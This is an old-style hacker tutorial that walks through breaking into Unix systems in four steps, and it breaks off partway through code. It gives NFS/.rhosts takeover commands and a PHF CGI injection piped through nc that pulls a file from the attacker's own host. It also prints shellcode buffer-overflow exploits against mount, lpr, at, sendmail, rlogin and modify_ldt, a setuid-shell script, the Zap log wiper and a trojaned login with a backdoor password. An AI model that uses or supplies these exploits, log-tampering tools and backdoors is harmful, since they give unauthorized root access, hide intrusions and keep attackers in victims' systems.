User's guide

Well, howdi folks... I guess you are all wondering who's this guy (me)
that's trying to show you a bit of everything... ?
Well, I ain't telling you anything of that...
Copyright, and other stuff like this (below).

Copyright and stuff...

Intro: Hacking step by step.

Well, this ain't exactely for begginers, but it'll have to do.
What all hackers has to know is that there are 4 steps in hacking...

Step 1: Getting access to site.
Step 2: Hacking r00t.
Step 3: Covering your traces.
Step 4: Keeping that account.

Ok. In the next pages we'll see exactely what I ment.

Step 1: Getting access.

Well folks, there are several methods to get access to a site.
I'll try to explain the most used ones.
The first thing I do is see if the system has an export list:

```
mysite:~>/usr/sbin/showmount -e victim.site.com
RPC: Program not registered.
```

If it gives a message like this one, then it's time to search another way
in.
What I was trying to do was to exploit an old security problem by most

SUN OS's that could allow an remote attacker to add a .rhosts to a users
home directory... (That was possible if the site had mounted their home
directory.
Let's see what happens...

```
mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr  victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
mysite:~>ls -sal /tmp/mount
   total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/
```

Well, we wanna hack into rapper's home.

```
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd
```

We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might
forget it on the remote server...

```
mysite:~>su - rapper
Welcome to rapper's user.
mysite:~>ls -lsa /tmp/mount/
   total 9
   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./
   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../
   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/
   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/
   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/
   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/
   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers
   1 drwx------   3 test     100          1024 Oct  8 21:05 test/
   1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/
```

So we own this guy's home directory...

```
mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Victim.Site.Com.
SunOs ver....(crap).
victim1:~$
```

This is the first method...
Another method could be to see if the site has an open 80 port. That would
mean that the site has a web page.
(And that's very bad, 'cuz it usually it's vulnerable).
Below I include the source of a scanner that helped me when NMAP wasn't written.
(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).
NMAP is a scanner that does even stealth scanning, so lots of systems won't

record it.

```
/* -*-C-*- tcpprobe.c */
/* tcpprobe - report on which tcp ports accept connections */
/* IO ERROR, error@axs.net, Sep 15, 1995 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>

int main(int argc, char **argv)
{
  int probeport = 0;
  struct hostent *host;
  int err, i, net;
  struct sockaddr_in sa;

  if (argc != 2) {
    printf("Usage: %s hostname\n", argv[0]);
    exit(1);
  }

  for (i = 1; i < 1024; i++) {
    strncpy((char *)&sa, "", sizeof sa);
    sa.sin_family = AF_INET;
    if (isdigit(*argv[1]))
      sa.sin_addr.s_addr = inet_addr(argv[1]);
    else if ((host = gethostbyname(argv[1])) != 0)
      strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
    else {
      herror(argv[1]);
      exit(2);
    }
    sa.sin_port = htons(i);
    net = socket(AF_INET, SOCK_STREAM, 0);
    if (net < 0) {
      perror("\nsocket");
      exit(2);
    }
    err = connect(net, (struct sockaddr *) &sa, sizeof sa);
    if (err < 0) {
      printf("%s %-5d %s\r", argv[1], i, strerror(errno));
      fflush(stdout);
    } else {
      printf("%s %-5d accepted.                               \n", argv[1], i);
      if (shutdown(net, 2) < 0) {
        perror("\nshutdown");
        exit(2);
      }
    }
    close(net);
  }
  printf("                                                                \r");
  fflush(stdout);
  return (0);
}
```

Well, now be very carefull with the below exploits, because they usually get logged.
Besides, if you really wanna get a source file from /cgi-bin/ use this sintax : lynx http://www.victim1.com//cgi-bin/finger

If you don't wanna do that, then do a :

```
mysite:~>echo "+ +" > /tmp/rhosts

mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+
/root/.rhosts" | nc -v - 20 victim1.site.com 80
```

then

```
mysite:~>rlogin -l root victim1.site.com
Welcome to Victim1.Site.Com.
victim1:~#
```

Or, maybe, just try to find out usernames and passwords...
The usual users are "test", "guest", and maybe the owner of the site...
I usually don't do such things, but you can...

Or if the site is really old, use that (quote site exec) old bug for
wu.ftpd.
There are a lot of other exploits, like the remote exploits (innd, imap2,
pop3, etc...) that you can find at rootshell.connectnet.com or at
dhp.com/~fyodor.

Enough about this topic. (besides, if you can finger the site, you can
figgure out usernames and maybe by guessing passwords (sigh!) you could get
access to the site).

Step 2: Hacking r00t.
______

First you have to find the system it's running...
a). LINUX
ALL versions:
A big bug for all linux versions is mount/umount and (maybe) lpr.

```
/* Mount Exploit for Linux, Jul 30 1996

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::""``````""::::::""``````""::"```"::'"```'.g$$S$' ``````````""::::::::
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
:::::::.........:::.........:::..........::......:.....:......::::::
:::::::::::::::::::::::::::::::::::::::::::::::::;:::::::::::::::::::::::::::

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/mount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
```

```
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
   execl(PATH_MOUNT, "mount", buff, NULL);
}

/*LPR exploit:I don't know the author...*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
```

b.) Version's 1.2.* to 1.3.2
NLSPATH env. variable exploit:

```
/* It's really annoying for users and good for me...
AT exploit gives only uid=0 and euid=your_usual_euid.
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define path "/usr/bin/at"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;


   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);


   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");
   setenv("NLSPATH",buff,1);
   execl(path, "at",NULL);
}
```

SENDMAIL exploit: (don't try to chmod a-s this one... :))

```
/* SENDMAIL Exploit for Linux
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define path "/usr/bin/sendmail"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   int i;
   int ofs = DEFAULT_OFFSET;
   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;


   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);


   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;

   (void)alarm((u_int)0);
   printf("SENDMAIL exploit discovered by me, _PHANTOM_ in  1997\n");
   setenv("NLSPATH",buff,1);
   execl(path, "sendmail",NULL);
}
```

MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT) !!!)

```
/* this is a hack of a hack.  a valid System.map was needed to get this
   sploit to werk.. but not any longer.. This sploit will give you root
   if the modify_ldt bug werks.. which I beleive it does in any kernel
   before 1.3.20 ..

   QuantumG
*/

/* original code written by Morten Welinder.
 *
 * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
 * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
 * 2. the _task in the System.map file has no leading underscore.
 * I am not sure at what point these were changed, if you are
 * using this on a newer kernel compile with NEWERKERNEL defined.
 *                                             -ReD
 */

#include <linux/ldt.h>
#include <stdio.h>
#include <linux/unistd.h>
#include <signal.h>
#ifdef NEWERKERNEL
#include <asm/sigcontext.h>
#endif
#define __KERNEL__
#include <linux/sched.h>
#include <linux/module.h>

static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, b
#define KERNEL_BASE 0xc0000000
/* ------------------------------------------------------------------------ */
static __inline__ unsigned char
__farpeek (int seg, unsigned ofs)
{
  unsigned char res;
  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
       : "=a" (res)
       : "r" (seg), "r" (ofs));
  return res;
}
/* ------------------------------------------------------------------------ */
static __inline__ void
__farpoke (int seg, unsigned ofs, unsigned char b)
{
  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
       : /* No results.  */
       : "r" (seg), "r" (ofs), "r" (b));
}
/* ------------------------------------------------------------------------ */
void
memgetseg (void *dst, int seg, const void *src, int size)
{
  while (size-- > 0)
    *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
}
/* ------------------------------------------------------------------------ */
void
memputseg (int seg, void *dst, const void *src, int size)
{
  while (size-- > 0)
    __farpoke (seg, (unsigned)(dst++), *(char *)src++);
}
/* ------------------------------------------------------------------------ */
int
main ()
{
  int stat, i,j,k;
  struct modify_ldt_ldt_s ldt_entry;
  FILE *syms;
  char line[100];
  struct task_struct **task, *taskptr, thistask;
  struct kernel_sym blah[4096];

  printf ("Bogusity checker for modify_ldt system call.\n");

  printf ("Testing for page-size limit bug...\n");
  ldt_entry.entry_number = 0;
  ldt_entry.base_addr = 0xbfffffff;
  ldt_entry.limit = 0;
  ldt_entry.seg_32bit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  ldt_entry.read_exec_only = 0;
  ldt_entry.limit_in_pages = 1;
  ldt_entry.seg_not_present = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    /* Continue after reporting error.  */
    printf ("This bug has been fixed in your kernel.\n");
  else
    {
      printf ("Shit happens: ");
      printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
    }

  printf ("Testing for expand-down limit bug...\n");
  ldt_entry.base_addr = 0x00000000;
  ldt_entry.limit = 1;
  ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  ldt_entry.limit_in_pages = 0;
  stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  if (stat)
    {
      printf ("This bug has been fixed in your kernel.\n");
      return 1;
    }
  else
    {
      printf ("Shit happens: ");
      printf ("0x00000000 - 0xfffffffd is accessible.\n");
    }

  i = get_kernel_syms(blah);
  k = i+10;
  for (j=0; j<i; j++)
   if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j
  if (k==i+10) { printf("current not found!!!\n"); return(1); }
  j=k;

  taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));
  if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1);
  printf("Current process is %i\n",thistask.pid);
  taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr
  memgetseg (&thistask, 7, taskptr, sizeof (thistask));
  if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1)
  printf("Parent process is %i\n",thistask.pid);
  thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  memputseg (7, taskptr, &thistask, sizeof (thistask));
  printf ("Shit happens: parent process is now root process.\n");
  return 0;
};
```

c.) Other linux versions:
Sendmail exploit:

```
#/bin/sh
#
#
#                                  Hi !
#                This is exploit for sendmail smtpd bug
#    (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).
#         This shell script does a root shell in /tmp directory.
#          If you have any problems with it, drop me a letter.
#                               Have fun !
#
#
#                           ----------------------
#                -----------------------------------------------
#    -----------------   Dedicated to my beautiful lady   ------------------
#                -----------------------------------------------
#                           ----------------------
```

```
#
#          Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su
#
#
#
echo   'main()                                                  '>>leshka.c
echo   '{                                                       '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);           '>>leshka.c
echo   '}                                                       '>>leshka.c
#
#
echo   'main()                                                  '>>smtpd.c
echo   '{                                                       '>>smtpd.c
echo   '  setuid(0); setgid(0);                                 '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");        '>>smtpd.c
echo   '}                                                       '>>smtpd.c
#
#
cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|
rm leshka.c leshka smtpd.c /tmp/smtpd
echo "Now type:   /tmp/sh"

SUNOS:
Rlogin exploit:
(arghh!)
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;
  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);

  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  perror("execl failed");
}
```

Want more exploits? Get 'em from other sites (like rootshell, dhp.com/~fyodor, etc...).

Step 3: Covering your tracks:
______

For this you could use lots of programs like zap, utclean, and lots of others...
Watch out, ALWAYS after you cloaked yourself to see if it worked do a:

```
victim1:~$ who
...(crap)...
victim1:~$ finger
...;as;;sda...
victim1:~$w
...
```

If you are still not cloaked, look for wtmpx, utmpx and other stuff like that. The only cloaker (that I know) that erased me even from wtmpx/utmpx was utclean. But I don't have it right now, so ZAP'll have to do the job.

```
/*
      Title:  Zap.c (c) rokK Industries
   Sequence:  911204.B

    Syztems:  Kompiles on SunOS 4.+
       Note:  To mask yourself from lastlog and wtmp you need to be root,
              utmp is go+w on default SunOS, but is sometimes removed.
    Kompile:  cc -O Zap.c -o Zap
        Run:  Zap <Username>

       Desc:  Will Fill the Wtmp and Utmp Entries corresponding to the
              entered Username. It also Zeros out the last login data for
              the specific user, fingering that user will show 'Never Logged
              In'

      Usage:  If you cant find a usage for this, get a brain.
*/

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
```

```
int f;

void kill_tmp(name,who)
char *name,
     *who;
{
    struct utmp utmp_ent;

  if ((f=open(name,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int  argc;
char *argv[];
{
    if (argc==2) {
        kill_tmp("/etc/utmp",argv[1]);
        kill_tmp("/usr/adm/wtmp",argv[1]);
        kill_lastlog(argv[1]);
        printf("Zap!\n");
    } else
    printf("Error.\n");
}
```

Step 4: Keeping that account.
____

This usually means that you'll have to install some programs to give you access even if the root has killed your account...
(DAEMONS!!!) =>|-@
 Here is an example of a login daemon from the DemonKit (good job, fellows...)
LOOK OUT !!! If you decide to put a daemon, be carefull and modify it's date of creation. (use touch --help to see how!)

```
/*
This is a simple trojanized login program, this was designed for Linux
and will not work without modification on linux. It lets you login as
either a root user, or any ordinary user by use of a 'magic password'.
It will also prevent the login from being logged into utmp, wtmp, etc.
You will effectively be invisible, and not be detected except via 'ps'.
*/

#define BACKDOOR                    "password"
int     krad=0;



/* This program is derived from 4.3 BSD software and is
   subject to the copyright notice below.

   The port to HP-UX has been motivated by the incapability
   of 'rlogin'/'rlogind' as per HP-UX 6.5 (and 7.0) to transfer window sizes.

   Changes:

   - General HP-UX portation. Use of facilities not available
     in HP-UX (e.g. setpriority) has been eliminated.
     Utmp/wtmp handling has been ported.

   - The program uses BSD command line options to be used
     in connection with e.g. 'rlogind' i.e. 'new login'.

   - HP features left out:          logging of bad login attempts in /etc/btmp,
                                    they are sent to syslog

                                    password expiry

                                    '*' as login shell, add it if you need it

   - BSD features left out:         quota checks
                                    password expiry
                                    analysis of terminal type (tset feature)

   - BSD features thrown in:        Security logging to syslogd.
                                    This requires you to have a (ported) syslog
                                    system -- 7.0 comes with syslog

                                    'Lastlog' feature.

   - A lot of nitty gritty details has been adjusted in favour of
     HP-UX, e.g. /etc/securetty, default paths and the environment
     variables assigned by 'login'.

   - We do *nothing* to setup/alter tty state, under HP-UX this is
     to be done by getty/rlogind/telnetd/some one else.

   Michael Glad (glad@daimi.dk)
   Computer Science Department
   Aarhus University
   Denmark

   1990-07-04

   1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:
              - now explictly sets non-blocking mode on descriptors
              - strcasecmp is now part of HP-UX
   1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12
   From 1992 till now (1995) this code for Linux has been maintained at
   ftp.daimi.aau.dk:/pub/linux/poe/
*/

/*
 * Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * advertising materials, and other materials related to such
 * distribution and use acknowledge that the software was developed
 * by the University of California, Berkeley.  The name of the
 * University may not be used to endorse or promote products derived
 * from this software without specific prior written permission.
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
 All rights reserved.\n";
#endif /* not lint */

#ifndef lint
static char sccsid[] = "@(#)login.c     5.40 (Berkeley) 5/9/89";
#endif /* not lint */

/*
 * login [ name ]
 * login -h hostname    (for telnetd, etc.)
 * login -f name        (for pre-authenticated login: datakit, xterm, etc.)
 */

/* #define TESTING */

#ifdef TESTING
#include "param.h"
#else
#include <sys/param.h>
#endif

#include <ctype.h>
#include <unistd.h>
#include <getopt.h>
#include <memory.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/file.h>
#include <termios.h>
#include <string.h>
#define index strchr
#define rindex strrchr
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <grp.h>
#include <pwd.h>
#include <setjmp.h>
#include <stdlib.h>
#include <stdio.h>
```

```
#include <string.h>
#include <sys/syslog.h>
#include <sys/sysmacros.h>
#include <netdb.h>

#ifdef TESTING
#  include "utmp.h"
#else
#  include <utmp.h>
#endif

#ifdef SHADOW_PWD
#include <shadow.h>
#endif

#ifndef linux
#include <tzfile.h>
#include <lastlog.h>
#else
struct  lastlog
  { long ll_time;
    char ll_line[12];
    char ll_host[16];
  };
#endif

#include "pathnames.h"

#define P_(s) ()
void opentty P_((const char *tty));
void getloginname P_((void));
void timedout P_((void));
int rootterm P_((char *ttyn));
void motd P_((void));
void sigint P_((void));
void checknologin P_((void));
void dolastlog P_((int quiet));
void badlogin P_((char *name));
char *stypeof P_((char *ttyid));
void checktty P_((char *user, char *tty));
void getstr P_((char *buf, int cnt, char *err));
void sleepexit P_((int eval));
#undef P_

#ifdef  KERBEROS
#include <kerberos/krb.h>
#include <sys/termios.h>
char    realm[REALM_SZ];
int     kerror = KSUCCESS, notickets = 1;
#endif

#ifndef linux
#define TTYGRPNAME      "tty"           /* name of group to own ttys */
#else
#  define TTYGRPNAME      "other"
#  ifndef MAXPATHLEN
#    define MAXPATHLEN 1024
#  endif
#endif

/*
 * This bounds the time given to login.  Not a define so it can
 * be patched on machines where it's too small.
 */
```

```
#ifndef linux
int     timeout = 300;
#else
int     timeout = 60;
#endif

struct  passwd *pwd;
int     failures;
char    term[64], *hostname, *username, *tty;

char    thishost[100];

#ifndef linux
struct  sgttyb sgttyb;
struct  tchars tc = {
        CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK
};
struct  ltchars ltc = {
        CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT
};
#endif

char *months[] =
        { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",
          "Sep", "Oct", "Nov", "Dec" };

/* provided by Linus Torvalds 16-Feb-93 */
void
opentty(const char * tty)
{
    int i;
    int fd = open(tty, O_RDWR);

    for (i = 0 ; i < fd ; i++)
      close(i);
    for (i = 0 ; i < 3 ; i++)
      dup2(fd, i);
    if (fd >= 3)
      close(fd);
}

int
main(argc, argv)
        int argc;
        char **argv;
{
        extern int errno, optind;
        extern char *optarg, **environ;
        struct timeval tp;
        struct tm *ttp;
        struct group *gr;
        register int ch;
        register char *p;
        int ask, fflag, hflag, pflag, cnt;
        int quietlog, passwd_req, ioctlval;
        char *domain, *salt, *ttyn, *pp;
        char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];
        char *ctime(), *ttyname(), *stypeof();
        time_t time();
        void timedout();
        char *termenv;

#ifdef linux
        char tmp[100];
        /* Just as arbitrary as mountain time: */
        /* (void)setenv("TZ", "MET-1DST",0); */
#endif

        (void)signal(SIGALRM, timedout);
        (void)alarm((unsigned int)timeout);
        (void)signal(SIGQUIT, SIG_IGN);
        (void)signal(SIGINT, SIG_IGN);

        (void)setpriority(PRIO_PROCESS, 0, 0);
#ifdef HAVE_QUOTA
        (void)quota(Q_SETUID, 0, 0, 0);
#endif

        /*
         * -p is used by getty to tell login not to destroy the environment
         * -f is used to skip a second login authentication
         * -h is used by other servers to pass the name of the remote
         *    host to login so that it may be placed in utmp and wtmp
         */
        (void)gethostname(tbuf, sizeof(tbuf));
        (void)strncpy(thishost, tbuf, sizeof(thishost)-1);
        domain = index(tbuf, '.');

        fflag = hflag = pflag = 0;
        passwd_req = 1;
        while ((ch = getopt(argc, argv, "fh:p")) != EOF)
                switch (ch) {
                case 'f':
                        fflag = 1;
                        break;

                case 'h':
                        if (getuid()) {
                                (void)fprintf(stderr,
                                    "login: -h for super-user only.\n");
                                exit(1);
                        }
                        hflag = 1;
                        if (domain && (p = index(optarg, '.')) &&
                            strcasecmp(p, domain) == 0)
